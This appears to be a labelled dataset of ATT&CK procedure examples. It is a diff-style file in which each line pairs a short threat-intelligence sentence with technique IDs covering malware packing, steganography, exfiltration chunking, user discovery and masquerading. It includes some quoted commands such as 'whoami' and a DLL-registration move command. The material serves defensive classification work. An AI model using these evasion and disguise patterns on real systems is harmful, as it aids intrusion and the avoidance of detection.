+The White Company has obfuscated their payloads through packing.	['T1027.002']
+Threat Group-3390 has packed malware and tools.	['T1027.002']
+Tomiris has been packed with UPX.	['T1027.002']
+Trojan.Karagany samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer.	['T1027.002']
+Versions of Babuk have been packed.	['T1027.002']
+Zebrocy's Delphi variant was packed with UPX.	['T1027.002']
+ABK can extract a malicious Portable Executable (PE) from a photo.	['T1027.003']
+APT37 uses steganography to send images to users that are embedded with shellcode.	['T1027.003']
+Andariel has hidden malicious executables within PNG files.	['T1027.003']
+Avenger can extract backdoor malware from downloaded images.	['T1027.003']
+BBK can extract a malicious Portable Executable (PE) from a photo.	['T1027.003']
+BRONZE BUTLER has used steganography in multiple operations to conceal malicious payloads.	['T1027.003']
+Bandook has used .PNG images within a zip file to build the executable.	['T1027.003']
+Diavol has obfuscated its main code routines within bitmap images as part of its anti-analysis techniques.	['T1027.003']
+Earth Lusca has used steganography to hide shellcode in a BMP image file.	['T1027.003']
+For Operation Spalax, the threat actors used packers that read pixel data from images contained in PE files' resource sections and build the next layer of execution from the data.	['T1027.003']
+IcedID has embedded binaries within RC4 encrypted .png files.	['T1027.003']
+Invoke-PSImage can be used to embed a PowerShell script within the pixels of a PNG file.	['T1027.003']
+Leviathan has used steganography to hide stolen data inside other files stored on Github.	['T1027.003']
+LiteDuke has used image files to hide its loader component.	['T1027.003']
+MuddyWater has stored obfuscated JavaScript code in an image file named temp.jpg.	['T1027.003']
+ObliqueRAT can hide its payload in BMP images hosted on compromised websites.	['T1027.003']
+ProLock can use .jpg and .bmp files to store its payload.	['T1027.003']
+RDAT can also embed data within a BMP image prior to exfiltration.	['T1027.003']
+Raindrop used steganography to locate the start of its encoded payload within legitimate 7-Zip code.	['T1027.003']
+Ramsay has PE data embedded within JPEG files contained within Word documents.	['T1027.003']
+RegDuke can hide data in images, including use of the Least Significant Bit (LSB).	['T1027.003']
+build_downer can extract malware from a downloaded JPEG.	['T1027.003']
+Cardinal RAT and its watchdog component are compiled and executed after being delivered to victims as embedded, uncompiled source code.	['T1027.004']
+"DarkWatchman has used the ""csc.exe"" tool to compile a C# executable."	['T1027.004']
+"Gamaredon Group has compiled the source code for a downloader directly on the infected system using the built-in ""Microsoft.CSharp.CSharpCodeProvider"" class."	['T1027.004']
+Rocke has compiled malware, delivered to victims as .c files, with the GNU Compiler Collection (GCC).	['T1027.004']
+njRAT has used AutoIt to compile the payload and main script into a single executable after delivery.	['T1027.004']
+APT3 has been known to remove indicators of compromise from tools.	['T1027.005']
+Analysis of Daserf has shown that it regularly undergoes technical improvements to evade anti-virus detection.	['T1027.005']
+"Cobalt Strike includes a capability to modify the ""beacon"" payload to eliminate known signatures or unpacking methods."	['T1027.005']
+Deep Panda has updated and modified its malware, resulting in different hash values that evade detection.	['T1027.005']
+During Operation Wocao, threat actors edited variable names within the Impacket suite to avoid automated detection.	['T1027.005']
+GALLIUM ensured each payload had a unique hash, including by using different types of packers.	['T1027.005']
+InvisiMole has undergone regular technical improvements in an attempt to evade detection.	['T1027.005']
+OilRig has tested malware samples to determine AV detection and subsequently modified the samples to ensure AV evasion.	['T1027.005']
+Penquin can remove strings from binaries.	['T1027.005']
+"PowerSploit's ""Find-AVSignature"" AntivirusBypass module can be used to locate single byte anti-virus signatures."	['T1027.005']
+QakBot can make small changes to itself in order to change its checksum and hash value.	['T1027.005']
+SUNBURST source code used generic variable names and pre-obfuscated strings, and was likely sanitized of developer comments before being added to SUNSPOT.	['T1027.005']
+TEMP.Veles has modified files based on the open-source project cryptcat in an apparent attempt to decrease AV detection rates.	['T1027.005']
+The author of GravityRAT submitted samples to VirusTotal for testing, showing that the author modified the code to try to hide the DDE object in a different part of the document.	['T1027.005']
+Waterbear can scramble functions not to be executed again with random values.	['T1027.005']
+APT29 has embedded an ISO file within an HTML attachment that contained JavaScript code to initiate malware execution.	['T1027.006']
+EnvyScout contains JavaScript code that can extract an encoded blob from its HTML body and write it to disk.	['T1027.006']
+Bazar can hash then resolve API calls at runtime.	['T1027.007']
+Lazarus Group has used a custom hashing method to resolve APIs used in shellcode.	['T1027.007']
+Pteranodon can use a dynamic Windows hashing algorithm to map API components.	['T1027.007']
+macOS.OSAMiner has used run-only Applescripts, a compiled and stripped version of AppleScript, to remove human readable indicators to evade detection.	['T1027.008']
+Invoke-PSImage can be used to embed payload data within a new image file.	['T1027.009']
+macOS.OSAMiner has embedded Stripped Payloads within another run-only Stripped Payloads.	['T1027.009']
+ADVSTORESHELL collects, compresses, encrypts, and exfiltrates data to the C2 server every 10 minutes.	['T1029']
+Chrommme can set itself to sleep before requesting a new command from C2.	['T1029']
+Cobalt Strike can set its Beacon payload to reach out to the C2 server on an arbitrary and random interval.	['T1029']
+Flagpro has the ability to wait for a specified time interval between communicating with and executing commands from C2.	['T1029']
+Higaisa sent the victim computer identifier in a User-Agent string back to the C2 server every 10 minutes.	['T1029']
+LightNeuron can be configured to exfiltrate data during nighttime or working hours.	['T1029']
+Machete sends stolen data to the C2 server every 10 minutes.	['T1029']
+POWERSTATS can sleep for a given number of seconds.	['T1029']
+ShadowPad has sent data back to C2 every 8 hours.	['T1029']
+jRAT can be configured to reconnect at certain intervals.	['T1029']
+APT28 has split archived exfiltration files into chunks smaller than 1MB.	['T1030']
+AppleSeed has divided files if the size is 0x1000000 bytes or more.	['T1030']
+Cobalt Strike will break large data sets into smaller chunks for exfiltration.	['T1030']
+During C0015, the threat actors limited Rclone's bandwidth setting during exfiltration.	['T1030']
+Helminth splits data into chunks up to 23 bytes and sends the data in DNS queries to its C2 server.	['T1030']
+Kessel can split the data to be exilftrated into chunks that will fit in subdomains of DNS queries.	['T1030']
+Kevin can exfiltrate data to the C2 server in 27-character chunks.	['T1030']
+Mythic supports custom chunk sizes used to upload/download files.	['T1030']
+OopsIE exfiltrates command output and collected files to its C2 server in 1500-byte blocks.	['T1030']
+POSHSPY uploads data in 2048-byte chunks.	['T1030']
+"The Rclone ""chunker"" overlay supports splitting large files in smaller chunks during upload to circumvent size limits."	['T1030']
+A Gamaredon Group file stealer can gather the victim's username to send to a C2 server.	['T1033']
+A Linux version of Derusbi checks if the victim user ID is anything other than zero (normally used for root), and the malware will not execute if it does not have root privileges. Derusbi also gathers the username of the victim.	['T1033']
+A module in Prikormka collects information from the victim about the current user name.	['T1033']
+"APT32 collected the victim's username and executed the ""whoami"" command on the victim's machine. APT32 executed shellcode to collect the username on the victim's machine."	['T1033']
+APT39 used Remexi to collect usernames from the system.	['T1033']
+"APT41 used the WMIEXEC utility to execute ""whoami"" commands on remote machines."	['T1033']
+Action RAT has the ability to collect the username from an infected host.	['T1033']
+Agent.btz obtains the victim username and saves it to a file.	['T1033']
+Amadey has collected the user name from a compromised host using `GetUserNameA`.	['T1033']
+"An APT3 downloader uses the Windows command """"cmd.exe"" /C whoami"" to verify that it is running with the elevated privileges of “System.”"	['T1033']
+Aria-body has the ability to identify the username on a compromised host.	['T1033']
+AuTo Stealer has the ability to collect the username from an infected host.	['T1033']
+Azorult can collect the username from the victim’s machine.	['T1033']
+"BabyShark has executed the ""whoami"" command."	['T1033']
+Backdoor.Oldrea collects the current username from the victim.	['T1033']
+Bazar can identify the username of the infected user.	['T1033']
+BloodHound can collect information on user sessions.	['T1033']
+Bonadan has discovered the username of the user running the backdoor.	['T1033']
+BoomBox can enumerate the username on a compromised host.	['T1033']
+Cardinal RAT can collect the username from a victim machine.	['T1033']
+Caterpillar WebShell can obtain a list of user accounts from a victim's machine.	['T1033']
+Chaes has collected the username and UID from the infected machine.	['T1033']
+"Chimera has used the ""quser"" command to show currently logged on users."	['T1033']
+Chrommme can retrieve the username from a targeted system.	['T1033']
+Clambling can identify the username on a compromised host.	['T1033']
+Crimson can identify the user on a targeted system.	['T1033']
+DRATzarus can obtain a list of users from an infected machine.	['T1033']
+DarkComet gathers the username from the victim’s machine.	['T1033']
+Diavol can collect the username from a compromised host.	['T1033']
+DnsSystem can use the Windows user name to create a unique identification for infected users and systems.	['T1033']
+DownPaper collects the victim username and sends it to the C2 server.	['T1033']
+"Dragonfly 2.0 used the command ""query user"" on victim hosts."	['T1033']
+"Dragonfly used the command ""query user"" on victim hosts."	['T1033']
+During Frankenstein, the threat actors used Empire to enumerate hosts and gather username, machine name, and administrative permissions information.	['T1033']
+During Night Dragon, threat actors used password cracking and pass-the-hash tools to discover usernames and passwords.	['T1033']
+During Operation CuckooBees, the threat actors used the `query user` and `whoami` commands as part of their advanced reconnaissance.	['T1033']
+During Operation Wocao, threat actors enumerated sessions and users on a remote host, and identified privileged users logged into a targeted system.	['T1033']
+Dyre has the ability to identify the users on a compromised host.	['T1033']
+EVILNUM can obtain the username from the victim's machine.	['T1033']
+"Earth Lusca collected information on user accounts via the ""whoami"" command."	['T1033']
+Egregor has used tools to gather information about users.	['T1033']
+Empire can enumerate the username on targeted hosts.	['T1033']
+Epic collects the user name from the victim’s machine.	['T1033']
+FELIXROOT collects the username from the victim’s machine.	['T1033']
+FIN10 has used Meterpreter to enumerate users on remote systems.	['T1033']
+Felismus collects the current username and sends it to the C2 server.	['T1033']
+"Flagpro has been used to run the ""whoami"" command on the system."	['T1033']
+FlawedAmmyy enumerates the current user during the initial infection.	['T1033']
+FunnyDream has the ability to gather user information from the targeted system using `whoami/upn&whoami/fqdn&whoami/logonid&whoami/all`.	['T1033']
+"GALLIUM used ""whoami"" and ""query user"" to obtain information about the victim user."	['T1033']
+Gelsemium has the ability to distinguish between a standard user and an administrator on a compromised host.	['T1033']
+Get2 has the ability to identify the current username of an infected host.	['T1033']
+Gold Dragon collects the endpoint victim's username and uses it as a basis for downloading additional components from the C2 server.	['T1033']
+GravityRAT collects the victim username along with other account information (account type, description, full name, SID and status).	['T1033']
+HAWKBALL can collect the user name of the system.	['T1033']
+HotCroissant has the ability to collect the username on the infected host.	['T1033']
+KONNI can collect the username from the victim’s machine.	['T1033']
+Ke3chang has used implants capable of collecting the signed-in username.	['T1033']
+Koadic can identify logged in users across the domain and views user sessions.	['T1033']
+"Kwampirs collects registered owner details by using the commands ""systeminfo"" and ""net config workstation""."	['T1033']
+Linux Rabbit opens a socket on port 22 and if it receives a response it attempts to obtain the machine's hostname and Top-Level Domain.	['T1033']
+LiteDuke can enumerate the account name on a targeted system.	['T1033']
+Lizar can collect the username from the system.	['T1033']
+MacMa can collect the username from the compromised machine.	['T1033']
+MarkiRAT can retrieve the victim’s username.	['T1033']
+Micropsia collects the username from the victim’s machine.	['T1033']
+Milan can identify users registered to a targeted machine.	['T1033']
+MirageFox can gather the username from the victim’s machine.	['T1033']
+Mis-Type runs tests to determine the privilege level of the compromised user.	['T1033']
+More_eggs has the capability to gather the username from the victim's machine.	['T1033']
+"Mosquito runs ""whoami"" on the victim’s machine."	['T1033']
+NBTscan can list active users on the system.	['T1033']
+NDiskMonitor obtains the victim username and encrypts the information to send over its C2 channel.	['T1033']
+NOKKI can collect the username from the victim’s machine.	['T1033']
+NanHaiShu collects the username from the victim.	['T1033']
+Neoichor can collect the user name from a victim's machine.	['T1033']
+ObliqueRAT can check for blocklisted usernames on infected endpoints.	['T1033']
+Octopus can collect the username from the victim’s machine.	['T1033']
+"OilRig has run ""whoami"" on a victim."	['T1033']
+Okrum can collect the victim username.	['T1033']
+Operation Wocao has enumerated sessions and users on a remote host, and identified privileged users logged into a targeted system.	['T1033']
+POWERSTATS has the ability to identify the username on the compromised host.	['T1033']
+"POWRUNER may collect information about the currently logged in user by running ""whoami"" on a victim."	['T1033']
+Patchwork collected the victim username and whether it was running as admin, then sent the information to its C2 server.	['T1033']
+"PoetRAT sent username, computer name, and the previously generated UUID in reply to a ""who"" command from C2."	['T1033']
+PowerShower has the ability to identify the current user on the infected host.	['T1033']
+"PyDCrypt has probed victim machines with ""whoami"" and has collected the username from the machine."	['T1033']
+QUADAGENT gathers the victim username.	['T1033']
+QakBot can identify the user name on a compromised system.	['T1033']
+QuasarRAT can enumerate the username and account type.	['T1033']
+"RATANKBA runs the ""whoami"" and ""query user"" commands."	['T1033']
+RCSession can gather system owner information, including user and administrator privileges.	['T1033']
+"RGDoor executes the ""whoami"" on the victim’s machine."	['T1033']
+ROKRAT can collect the username from a compromised host.	['T1033']
+RTM can obtain the victim username and permissions.	['T1033']
+RedLeaves can obtain information about the logged on user both locally and for Remote Desktop sessions.	['T1033']
+Remsec can obtain information about the current user.	['T1033']
+Revenge RAT gathers the username from the system.	['T1033']
+Rifdoor has the ability to identify the username on the compromised host.	['T1033']
+Rising Sun can detect the username of the infected host.	['T1033']
+SDBbot has the ability to identify the user on a compromised host.	['T1033']
+SLOTHFULMEDIA has collected the username from a victim machine.	['T1033']
+"SMOKEDHAM has used ""whoami"" commands to identify system owners."	['T1033']
+STARWHALE can gather the username from an infected host.	['T1033']
+SUNBURST collected the username from a compromised host.	['T1033']
+ServHelper will attempt to enumerate the username of the victim.	['T1033']
+SideTwist can collect the username on a targeted system.	['T1033']
+Small Sieve can obtain the id of a logged in user.	['T1033']
+SodaMaster can identify the username on a compromised host.	['T1033']
+"SombRAT can execute ""getinfo""  to identify the username on a compromised host."	['T1033']
+Squirrelwaffle can collect the user name from a compromised host.	['T1033']
+SslMM sends the logged-on username to its hard-coded C2.	['T1033']
+Stealth Falcon malware gathers the registered user and primary owner name via WMI.	['T1033']
+StrifeWater can collect the user name from the victim's machine.	['T1033']
+SynAck gathers user names from infected hosts.	['T1033']
+T9000 gathers and beacons the username of the logged in account during installation. It will also gather the username of running processes to determine if it is running as SYSTEM.	['T1033']
+The OsInfo function in Komplex collects the current running username.	['T1033']
+TrickBot can identify the user and groups the user belongs to on a compromised host.	['T1033']
+Trojan.Karagany can gather information about the user on a compromised host.	['T1033']
+UPPERCUT has the capability to collect the current logged on user’s username from a machine.	['T1033']
+Valak can gather information regarding the user.	['T1033']
+WINDSHIELD can gather the victim user name.	['T1033']
+WINERACK can gather information on the victim username.	['T1033']
+WellMail can identify the current username on the victim system.	['T1033']
+WinMM uses NetUser-GetInfo to identify that it is running under an “Admin” account on the local system.	['T1033']
+"Wizard Spider has used ""whoami"" to identify the local user and their privileges."	['T1033']
+XAgentOSX contains the getInfoOSX function to return the OS X version as well as the current user.	['T1033']
+ZIRCONIUM has used a tool to capture the username on a compromised host in order to register it with C2.	['T1033']
+Zebrocy gets the username from the system.	['T1033']
+ZxxZ can collect the username from a compromised host.	['T1033']
+njRAT enumerates the current user during the initial infection.	['T1033']
+zwShell can obtain the name of the logged-in user on the victim.	['T1033']
+APT28 has renamed the WinRAR utility to avoid detection.	['T1036']
+AppleSeed can disguise JavaScript files as PDFs.	['T1036']
+Bisonal dropped a decoy payload with a .jpg extension that contained a malicious Visual Basic script.	['T1036']
+BoomBox has the ability to mask malicious data strings as PDF files.	['T1036']
+Dragonfly 2.0 created accounts disguised as legitimate backup and service accounts as well as an email administration account.	['T1036']
+Dragonfly has created accounts disguised as legitimate backup and service accounts as well as an email administration account.	['T1036']
+EnvyScout has used folder icons for malicious files to lure victims into opening them.	['T1036']
+Flagpro can download malicious files with a .tmp extension and append them with .exe prior to execution.	['T1036']
+For Operation Dust Storm, the threat actors disguised some executables as JPG files.	['T1036']
+Kimsuky has disguised its C2 addresses as the websites of shopping malls, governments, universities, and others.	['T1036']
+Lazarus Group has disguised malicious template files as JPEG files to avoid detection.	['T1036']
+LazyScripter has used several different security software icons to disguise executables.	['T1036']
+Milan has used an executable named `companycatalogue` to appear benign.	['T1036']
+Mustang Panda has used an additional filename extension to hide the true file type.	['T1036', 'T1036.007']
+NativeZone has, upon execution, displayed a message box that appears to be related to a Ukrainian electronic document management system.	['T1036']
+Nomadic Octopus attempted to make Octopus appear as a  Telegram Messenger with a Russian interface.	['T1036']
+NotPetya drops PsExec with the filename dllhost.dat.	['T1036']
+PLATINUM has renamed rar.exe to avoid detection.	['T1036']
+PowGoop has disguised a PowerShell script as a .dat file (goopdate.dat).	['T1036']
+QuasarRAT has dropped binaries as files named microsoft_network.exe and crome.exe.	['T1036']
+RCSession has used a file named English.rtf to appear benign on victim hosts.	['T1036']
+Raindrop was built to include a modified version of 7-Zip source code (including associated export names) and Far Manager source code.	['T1036']
+Ryuk can create .dll files that actually contain a Rich Text File format document.	['T1036']
+Saint Bot has renamed malicious binaries as `wallpaper.mp4` and `slideshow.mp4` to avoid detection.	['T1036']
+SombRAT can use a legitimate process name to hide itself.	['T1036']
+The QakBot payload has been disguised as a PNG file.	['T1036']
+TrailBlazer has used filenames that match the name of the compromised system in attempt to avoid detection.	['T1036']
+UNC2452 set the hostnames of its C2 infrastructure to match legitimate hostnames in the victim environment. They also primarily used IP addresses originating from the same country as the victim for their VPN infrastructure.	['T1036']
+WhisperGate has been disguised as a JPG extension to avoid detection as a malicious PE file.	['T1036']
+"XCSSET builds a malicious application bundle to resemble Safari through using the Safari icon and ""Info.plist""."	['T1036']
+menuPass has used esentutl to change file extensions to their true type that were masquerading as .txt files.	['T1036']
+APT37 has signed its malware with an invalid digital certificates listed as “Tencent Technology (Shenzhen) Company Limited.”	['T1036.001']
+BADNEWS is sometimes signed with an invalid Authenticode certificate in an apparent effort to make it look more legitimate.	['T1036.001']
+Gelsemium has used unverified signatures on malicious DLLs.	['T1036.001']
+PcShare has used an invalid certificate in attempt to appear legitimate.	['T1036.001']
+WindTail has been incompletely signed with revoked certificates.	['T1036.001']
+Windshift has used revoked certificates to sign malware.	['T1036.001']
+BlackTech has used right-to-left-override to obfuscate the filenames of malicious e-mail attachments.	['T1036.002']
+Ferocious Kitten has used right-to-left override to reverse executables’ names to make them appear to have different file extensions, rather than their real ones.	['T1036.002']
+Ke3chang has used the right-to-left override character in spearphishing attachment names to trick targets into executing .scr and .exe files.	['T1036.002']
+Scarlet Mimic has used the left-to-right override character in self-extracting RAR archive spearphishing attachment file names.	['T1036.002']
+APT32 has moved and renamed pubprn.vbs to a .txt file to avoid detection.	['T1036.003']
+Kevin has renamed an image of `cmd.exe` with a random name followed by a `.tmpl` extension.	['T1036.003']
+"Lazarus Group has renamed system utilities such as ""wscript.exe"" and ""mshta.exe""."	['T1036.003']
+The CozyCar dropper has masqueraded a copy of the infected system's rundll32.exe executable that was moved to the malware's install directory and renamed according to a predefined configuration file.	['T1036.003']
+"A Lazarus Group custom backdoor implant included a custom PE loader named ""Security Package"" that was added into the lsass.exe process via registry key."	['T1036.004']
+APT-C-36 has disguised its scheduled tasks as those used by Google.	['T1036.004']
+"APT29 named tasks ""\Microsoft\Windows\SoftwareProtectionPlatform\EventCacheManager"" in order to appear legitimate."	['T1036.004']
+APT41 has created services to appear as benign system tools.	['T1036.004']
+BITTER has disguised malware as a Windows Security update service.	['T1036.004']
+Bazar can create a task named to appear benign.	['T1036.004']
+CSPY Downloader has attempted to appear as a legitimate Windows service with a fake description claiming it is used to support packed applications.	['T1036.004']
+Carbanak has copied legitimate service names to use for malicious services.	['T1036.004']
+Catchamas adds a new service named NetAdapter in an apparent attempt to masquerade as a legitimate service.	['T1036.004']
+ComRAT has used a task name associated with Windows SQM Consolidator.	['T1036.004']
+Crutch has established persistence with a scheduled task impersonating the Outlook item finder.	['T1036.004']
+DCSrv has masqueraded its service as a legitimate svchost.exe process.	['T1036.004']
+Egregor has masqueraded the svchost.exe process to exfiltrate data.	['T1036.004']
+"FIN6 has renamed the ""psexec"" service name to ""mstdc"" to masquerade as a legitimate Windows service."	['T1036.004']
+FIN7 has created a scheduled task named “AdobeFlashSync” to establish persistence.	['T1036.004']
+FunnyDream has used a service named `WSearch` for execution.	['T1036.004']
+Fysbis has masqueraded as the rsyncd and dbus-inotifier services.	['T1036.004']
+GoldMax has impersonated systems management software to avoid detection.	['T1036.004']
+Green Lambert has created a new executable named `Software Update Check` to appear legitimate.	['T1036.004']
+Heyoka Backdoor has been named `srvdll.dll` to appear as a legitimate service.	['T1036.004']
+"Higaisa named a shellcode loader binary ""svchast.exe"" to spoof the legitimate ""svchost.exe""."	['T1036.004']
+Hildegard has disguised itself as a known Linux process.	['T1036.004']
+"In one instance, menuPass added PlugX as a service with a display name of ""Corel Writing Tools Utility."""	['T1036.004']
+IronNetInjector has been disguised as a legitimate service using the name PythonUpdateSrvc.	['T1036.004']
+KillDisk registers as a service under the Plug-And-Play Support name.	['T1036.004']
+Kimsuky has disguised services to appear as benign software or related to operating system functions.	['T1036.004']
+Machete renamed task names to masquerade as legitimate Google Chrome, Java, Dropbox, Adobe Reader and Python tasks.	['T1036.004']
+"Naikon renamed a malicious service ""taskmgr"" to appear to be a legitimate version of Task Manager."	['T1036.004']
+"Nebulae has created a service named ""Windows Update Agent1"" to appear legitimate."	['T1036.004']
+OSX_OCEANLOTUS.D has disguised its app bundle by adding special characters to the filename and using the icon for legitimate Word documents.	['T1036.004']
+Okrum can establish persistence by adding a new service NtmsSvc with the display name Removable Storage to masquerade as a legitimate Removable Storage Manager.	['T1036.004']
+"POWERSTATS has created a scheduled task named ""MicrosoftEdge"" to establish persistence."	['T1036.004']
+PROMETHIUM has named services to appear legitimate.	['T1036.004']
+PingPull can mimic the names and descriptions of legitimate services such as `iphlpsvc`, `IP Helper`,  and `Onedrive` to evade detection.	['T1036.004']
+SUGARDUMP's scheduled task has been named `MicrosoftInternetExplorerCrashRepoeterTaskMachineUA` or `MicrosoftEdgeCrashRepoeterTaskMachineUA`, depending on the Windows OS version.	['T1036.004']
+"Seasalt has masqueraded as a service called ""SaSaut"" with a display name of ""System Authorization Service"" in an apparent attempt to masquerade as a legitimate service."	['T1036.004']
+"Shamoon creates a new service named “ntssrv” that attempts to appear legitimate; the service's display name is “Microsoft Network Realtime Inspection Service” and its description is “Helps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols.” Newer versions create the ""MaintenaceSrv"" service, which misspells the word ""maintenance."""	['T1036.004']
+ShimRat can impersonate Windows services and antivirus products to avoid detection on compromised systems.	['T1036.004']
+Tarrask creates a scheduled task called “WinUpdate” to re-establish any dropped  C2 connections.	['T1036.004']
+The Exaramel for Windows dropper creates and starts a Windows service named wsmprovav with the description “Windows Check AV” in an apparent attempt to masquerade as a legitimate service.	['T1036.004']
+"To establish persistence, Truvasys adds a Registry Run key with a value ""TaskMgr"" in an attempt to masquerade as the legitimate Windows Task Manager."	['T1036.004']
+"UNC2452 named tasks ""\Microsoft\Windows\SoftwareProtectionPlatform\EventCacheManager"" in order to appear legitimate."	['T1036.004']
+Wizard Spider has used scheduled tasks to install TrickBot, using task names to appear legitimate such as WinDotNet, GoogleTask, or Sysnetsf. It has also used common document file names for other malware binaries.	['T1036.004']
+"ZIRCONIUM has created a run key named ""Dropbox Update Setup"" to mask a persistence mechanism for a malicious binary."	['T1036.004']
+ZxxZ has been disguised as a Windows security update service.	['T1036.004']
+"build_downer has added itself to the Registry Run key as ""NVIDIA"" to appear legitimate."	['T1036.004']
+A Winnti for Windows implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name.	['T1036.005']
+APT28 has changed extensions on files containing exfiltrated data to make them appear benign, and renamed a web shell instance to appear as a legitimate OWA page.	['T1036.005']
+APT29 renamed software and DLL's with legitimate names to appear benign.	['T1036.005']
+APT32 has renamed a NetCat binary to kb-10233.exe to masquerade as a Windows update. APT32 has also renamed a Cobalt Strike beacon payload to install_flashplayers.exe.	['T1036.005']
+AppleSeed has the ability to rename its payload to ESTCommon.dll to masquerade as a DLL belonging to ESTsecurity.	['T1036.005']
+BADNEWS attempts to hide its payloads using legitimate filenames.	['T1036.005']
+"BLINDINGCAN has attempted to hide its payload by using legitimate file names such as ""iconcache.db""."	['T1036.005']
+BRONZE BUTLER has given malware the same name as an existing file on the file share server to cause users to unwittingly launch and install the malware on additional systems.	['T1036.005']
+BackdoorDiplomacy has dropped implants in folders named for legitimate software.	['T1036.005']
+"Bad Rabbit has masqueraded as a Flash Player installer through the executable file ""install_flash_player.exe""."	['T1036.005']
+Blue Mockingbird has masqueraded their XMRIG payload name by naming it wercplsupporte.dll after the legitimate wercplsupport.dll file.	['T1036.005']
+"Bumblebee has named component DLLs ""RapportGP.dll"" to match those used by the security company Trusteer."	['T1036.005']
+Bundlore has disguised a malicious .app file as a Flash Player update.	['T1036.005']
+"Carbanak has named malware ""svchost.exe,"" which is the name of the Windows shared service host program."	['T1036.005']
+"Carberp has masqueraded as Windows system file names, as well as ""chkntfs.exe"" and ""syscron.exe""."	['T1036.005']
+ChChes copies itself to an .exe file with a filename that is likely intended to imitate Norton Antivirus but has several letters reversed (e.g. notron.exe).	['T1036.005']
+"Chaes has used an unsigned, crafted DLL module named ""hha.dll"" that was designed to look like a legitimate 32-bit Windows DLL."	['T1036.005']
+Cuba has been disguised as legitimate 360 Total Security Antivirus and OpenVPN programs.	['T1036.005']
+DRATzarus has been named `Flash.exe`, and its dropper has been named `IExplorer`.	['T1036.005']
+DanBot files have been named `UltraVNC.exe` and `WINVNC.exe` to appear as legitimate VNC tools.	['T1036.005']
+Darkhotel has used malware that is disguised as a Secure Shell (SSH) tool.	['T1036.005']
+During Operation CuckooBees, the threat actors renamed a malicious executable to `rundll32.exe` to allow it to blend in with other Windows system files.	['T1036.005']
+During Operation Honeybee, the threat actors used a legitimate Windows executable and secure directory for their payloads to bypass UAC.	['T1036.005']
+During Operation Sharpshooter, threat actors installed Rising Sun in the Startup folder and disguised it as `mssync.exe`.	['T1036.005']
+During Operation Wocao, the threat actors renamed some tools and executables to appear as legitimate programs.	['T1036.005']
+Earth Lusca used the command `move [file path] c:\windows\system32\spool\prtprocs\x64\spool.dll` to move and register a malicious DLL name as a Windows print processor, which eventually was loaded by the Print Spooler service.	['T1036.005']
+FIN7 has attempted to run Darkside ransomware with the filename sleep.exe.	['T1036.005']
+Felismus has masqueraded as legitimate Adobe Content Management System files.	['T1036.005']
+"Ferocious Kitten has named malicious files ""update.exe"" and loaded them into the compromise host's “Public” folder."	['T1036.005']
+FinFisher renames one of its .dll files to uxtheme.dll in an apparent attempt to masquerade as a legitimate file.	['T1036.005']
+FoggyWeb can be disguised as a Visual Studio file such as `Windows.Data.TimeZones.zh-PH.pri` to evade detection. Also, FoggyWeb's loader can mimic a genuine `dll` file that carries out the same import functions as the legitimate Windows `version.dll` file.	['T1036.005']
+Fox Kitten has named binaries and configuration files svhost and dllhost respectively to appear legitimate.	['T1036.005']
+Fysbis has masqueraded as trusted software rsyncd and dbus-inotifier.	['T1036.005']
+"Gamaredon Group has used legitimate process names to hide malware including ""svchosst""."	['T1036.005']
+"Gelsemium has named malicious binaries `serv.exe`, `winprint.dll`, and `chrome_elf.dll` and has set its persistence in the Registry with the key value ""Chrome Update"" to appear legitimate."	['T1036.005']
+"GoldenSpy's setup file installs initial executables under the folder ""%WinDir%\System32\PluginManager""."	['T1036.005']
+Goopy has impersonated the legitimate goopdate.dll, which was dropped on the target system with a legitimate GoogleUpdate.exe.	['T1036.005']
+Grandoreiro has named malicious browser extensions and update files to appear legitimate.	['T1036.005']
+Green Lambert has been disguised as a Growl help file.	['T1036.005']
+HTTPBrowser's installer contains a malicious file named navlu.dll to decrypt and run the RAT. navlu.dll is also the name of a legitimate Symantec DLL.	['T1036.005']
+HermeticWiper has used the name `postgressql.exe` to mask a malicious payload.	['T1036.005']
+HermeticWizard has been named `exec_32.dll` to mimic a legitimate MS Outlook .dll.	['T1036.005']
+IceApple .NET assemblies have used `App_Web_` in their file names to appear legitimate.	['T1036.005']
+If installing itself as a service fails, Elise instead writes itself as a file named svchost.exe saved in %APPDATA%\Microsoft\Network.	['T1036.005']
+Indrik Spider used fake updates for FlashPlayer plugin and Google Chrome as initial infection vectors.	['T1036.005']
+InnaputRAT variants have attempted to appear legitimate by using the file names SafeApp.exe and NeutralApp.exe.	['T1036.005']
+InvisiMole has disguised its droppers as legitimate software or documents, matching their original names and locations, and saved its files as mpr.dll in the Windows folder.	['T1036.005']
+KGH_SPY has masqueraded as a legitimate Windows tool.	['T1036.005']
+"KONNI has created a shortcut called ""Anti virus service.lnk"" in an apparent attempt to masquerade as a legitimate file."	['T1036.005']
+Ke3chang has dropped their malware into legitimate installed software paths including: `C:\ProgramFiles\Realtek\Audio\HDA\AERTSr.exe`, `C:\Program Files (x86)\Foxit Software\Foxit Reader\FoxitRdr64.exe`, `C:\Program Files (x86)\Adobe\Flash Player\AddIns\airappinstaller\airappinstall.exe`, and `C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd64.exe`.	['T1036.005']
+"Kimsuky has renamed malware to legitimate names such as ""ESTCommon.dll"" or ""patch.dll""."	['T1036.005']
+Lazarus Group has renamed malicious code to disguise it as Microsoft's narrator and other legitimate files.	['T1036.005']
+"LookBack has a C2 proxy tool that masquerades as ""GUP.exe"", which is software used by Notepad++."	['T1036.005']
+MCMD has been named Readme.txt to appear legitimate.	['T1036.005']
+Machete renamed payloads to masquerade as legitimate Google Chrome, Java, Dropbox, Adobe Reader and Python executables.	['T1036.005']
+Machete's Machete MSI installer has masqueraded as a legitimate Adobe Acrobat Reader installer.	['T1036.005']
+"MarkiRAT can masquerade as ""update.exe"" and ""svehost.exe""; it has also mimicked legitimate Telegram and Chrome files."	['T1036.005']
+MechaFlounder has been downloaded as a file named lsass.exe, which matches the legitimate Windows file.	['T1036.005']
+Metamorfo has disguised an MSI file as the Adobe Acrobat Reader Installer and has masqueraded payloads as OneDrive, WhatsApp, or Spotify, for example.	['T1036.005']
+Misdat saves itself as a file named `msdtc.exe`, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.	['T1036.005']
+MuddyWater has disguised malicious executables and used filenames and Registry key names associated with Windows Defender.	['T1036.005']
+Mustang Panda has used names like `adobeupdate.dat` and `PotPlayerDB.dat` to disguise PlugX, and a file named `OneDrive.exe` to load a Cobalt Strike payload.	['T1036.005']
